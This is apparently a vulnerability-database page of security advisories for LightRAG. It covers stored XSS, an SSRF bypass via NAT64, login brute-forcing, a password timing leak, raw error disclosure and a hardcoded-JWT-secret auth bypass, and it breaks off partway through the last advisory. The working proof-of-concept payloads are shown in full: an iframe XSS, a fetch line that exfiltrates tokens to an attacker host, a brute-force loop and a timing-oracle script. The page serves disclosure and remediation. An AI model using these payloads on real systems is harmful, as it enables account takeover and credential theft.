            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 02, 2026

1.4.13rc1 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
